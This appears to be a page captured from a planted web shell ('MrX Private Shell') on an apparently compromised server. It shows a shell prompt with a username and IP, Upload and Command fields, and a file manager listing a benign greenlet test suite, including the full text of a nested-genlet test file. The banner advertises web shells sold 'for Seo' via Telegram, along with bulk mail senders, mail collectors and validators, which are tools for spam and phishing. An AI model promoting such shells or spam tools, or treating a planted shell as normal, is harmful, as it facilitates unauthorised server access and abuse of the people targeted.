__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.25: ~ $
from greenlet import greenlet
from . import TestCase
from .leakcheck import fails_leakcheck

class genlet(greenlet):
    parent = None
    def __init__(self, *args, **kwds):
        self.args = args
        self.kwds = kwds
        self.child = None

    def run(self):
        # Note the function is packed in a tuple
        # to avoid creating a bound method for it.
        fn, = self.fn
        fn(*self.args, **self.kwds)

    def __iter__(self):
        return self

    def set_child(self, child):
        self.child = child

    def __next__(self):
        if self.child:
            child = self.child
            while child.child:
                tmp = child
                child = child.child
                tmp.child = None

            result = child.switch()
        else:
            self.parent = greenlet.getcurrent()
            result = self.switch()

        if self:
            return result

        raise StopIteration

    next = __next__

def Yield(value, level=1):
    g = greenlet.getcurrent()

    while level != 0:
        if not isinstance(g, genlet):
            raise RuntimeError('yield outside a genlet')
        if level > 1:
            g.parent.set_child(g)
        g = g.parent
        level -= 1

    g.switch(value)


def Genlet(func):
    class TheGenlet(genlet):
        fn = (func,)
    return TheGenlet

# ____________________________________________________________


def g1(n, seen):
    for i in range(n):
        seen.append(i + 1)
        yield i


def g2(n, seen):
    for i in range(n):
        seen.append(i + 1)
        Yield(i)

g2 = Genlet(g2)


def nested(i):
    Yield(i)


def g3(n, seen):
    for i in range(n):
        seen.append(i + 1)
        nested(i)
g3 = Genlet(g3)


def a(n):
    if n == 0:
        return
    for ii in ax(n - 1):
        Yield(ii)
    Yield(n)
ax = Genlet(a)


def perms(l):
    if len(l) > 1:
        for e in l:
            # No syntactical sugar for generator expressions
            x = [Yield([e] + p) for p in perms([x for x in l if x != e])]
            assert x
    else:
        Yield(l)
perms = Genlet(perms)


def gr1(n):
    for ii in range(1, n):
        Yield(ii)
        Yield(ii * ii, 2)

gr1 = Genlet(gr1)


def gr2(n, seen):
    for ii in gr1(n):
        seen.append(ii)

gr2 = Genlet(gr2)


class NestedGeneratorTests(TestCase):
    def test_layered_genlets(self):
        seen = []
        for ii in gr2(5, seen):
            seen.append(ii)
        self.assertEqual(seen, [1, 1, 2, 4, 3, 9, 4, 16])

    @fails_leakcheck
    def test_permutations(self):
        gen_perms = perms(list(range(4)))
        permutations = list(gen_perms)
        self.assertEqual(len(permutations), 4 * 3 * 2 * 1)
        self.assertIn([0, 1, 2, 3], permutations)
        self.assertIn([3, 2, 1, 0], permutations)
        res = []
        for ii in zip(perms(list(range(4))), perms(list(range(3)))):
            res.append(ii)
        self.assertEqual(
            res,
            [([0, 1, 2, 3], [0, 1, 2]), ([0, 1, 3, 2], [0, 2, 1]),
             ([0, 2, 1, 3], [1, 0, 2]), ([0, 2, 3, 1], [1, 2, 0]),
             ([0, 3, 1, 2], [2, 0, 1]), ([0, 3, 2, 1], [2, 1, 0])])
        # XXX Test to make sure we are working as a generator expression

    def test_genlet_simple(self):
        for g in g1, g2, g3:
            seen = []
            for _ in range(3):
                for j in g(5, seen):
                    seen.append(j)
            self.assertEqual(seen, 3 * [1, 0, 2, 1, 3, 2, 4, 3, 5, 4])

    def test_genlet_bad(self):
        try:
            Yield(10)
        except RuntimeError:
            pass

    def test_nested_genlets(self):
        seen = []
        for ii in ax(5):
            seen.append(ii)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 9.51 KB 0644
_test_extension.c File 7.07 KB 0644
_test_extension.cpython-312-x86_64-linux-gnu.so File 16.92 KB 0755
_test_extension_cpp.cpp File 6.56 KB 0644
_test_extension_cpp.cpython-312-x86_64-linux-gnu.so File 57.35 KB 0755
fail_clearing_run_switches.py File 1.23 KB 0644
fail_cpp_exception.py File 985 B 0644
fail_initialstub_already_started.py File 1.92 KB 0644
fail_slp_switch.py File 524 B 0644
fail_switch_three_greenlets.py File 956 B 0644
fail_switch_three_greenlets2.py File 1.25 KB 0644
fail_switch_two_greenlets.py File 817 B 0644
leakcheck.py File 12.32 KB 0644
test_contextvars.py File 9.34 KB 0644
test_cpp.py File 3.09 KB 0644
test_extension_interface.py File 4.71 KB 0644
test_gc.py File 2.85 KB 0644
test_generator.py File 1.21 KB 0644
test_generator_nested.py File 3.63 KB 0644
test_greenlet.py File 49.31 KB 0644
test_greenlet_trash.py File 8.17 KB 0644
test_interpreter_shutdown.py File 32.29 KB 0644
test_leaks.py File 18.79 KB 0644
test_stack_saved.py File 446 B 0644
test_throw.py File 3.63 KB 0644
test_tracing.py File 8.35 KB 0644
test_version.py File 1.49 KB 0644
test_weakref.py File 883 B 0644